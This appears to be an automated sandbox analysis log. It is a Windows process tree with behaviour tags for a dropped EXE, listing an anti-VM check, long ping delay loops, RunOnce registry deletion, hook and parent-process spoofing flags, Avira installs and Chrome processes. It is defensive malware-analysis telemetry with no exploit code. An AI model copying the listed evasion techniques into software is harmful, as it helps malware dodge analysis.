C:\Users\Admin\AppData\Local\Temp\10yFlipRafQm.exe"C:\Users\Admin\AppData\Local\Temp\10yFlipRafQm.exe"2⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 11⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v aefb17a4-05c2-414e-b3de-f60c3821e874 /f1⤵
- Modifies registry key
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\.CR.852\Avira.Spotlight.Bootstrapper.Runner.exeC:\Users\Admin\AppData\Local\Temp\.CR.852\Avira.Spotlight.Bootstrapper.Runner.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\net.exeC:\Windows\system32\net.exe1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net12⤵
-
-
C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Common.Updater.exe"C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Common.Updater.exe"1⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe"C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe"1⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Systray.Application.exe"C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Systray.Application.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe1⤵
- Launches sc.exe
-
C:\Program Files (x86)\Avira\Fallback Updater\Avira.Spotlight.FallbackUpdater.exe"C:\Program Files (x86)\Avira\Fallback Updater\Avira.Spotlight.FallbackUpdater.exe" FallbackUpdater=true1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Avira\Optimizer Host\Avira.OptimizerHost.exe"C:\Program Files (x86)\Avira\Optimizer Host\Avira.OptimizerHost.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Avira\System Speedup\setup\avira_speedup_setup.exe"C:\Program Files (x86)\Avira\System Speedup\setup\avira_speedup_setup.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-KUSJ2.tmp\avira_speedup_setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-KUSJ2.tmp\avira_speedup_setup.tmp" /SL5="$3050C,35953336,916992,C:\Program Files (x86)\Avira\System Speedup\setup\avira_speedup_setup.exe"2⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\werfault.exewerfault.exe /h /shared Global\5801e472ff894bbf9c47b022c388c2db /t 2388 /p 50841⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffc5548c728,0x7ffc5548c734,0x7ffc5548c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1888,i,7069200493542930945,12538177875298921227,524288 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=2020 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1684,i,10577361359291457774,5356428417039591579,262144 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=1988 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2308,i,14885394145653600274,1652870746532543447,524288 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=2280 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3364,i,13708208982514949778,11959271832762870228,2097152 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=3400 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3288,i,13418031865621227180,7470509647807589774,2097152 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=3372 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4656,i,7504404827841762888,4657213635594062703,2097152 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=4672 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5436,i,9532307399642704103,10993539030079039011,524288 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=5444 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5436,i,3937731834595816964,10169768574237594286,2097152 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=5448 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3952,i,4141621128569436664,10079238648643191263,2097152 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=3644 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5792,i,18007136145943619737,3731222112907559493,524288 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=5532 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3744,i,5748058703128661724,13902507283025062309,524288 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=3464 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3668,i,14747655617811903899,12878246073612010630,524288 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=4488 /prefetch:142⤵
-
-
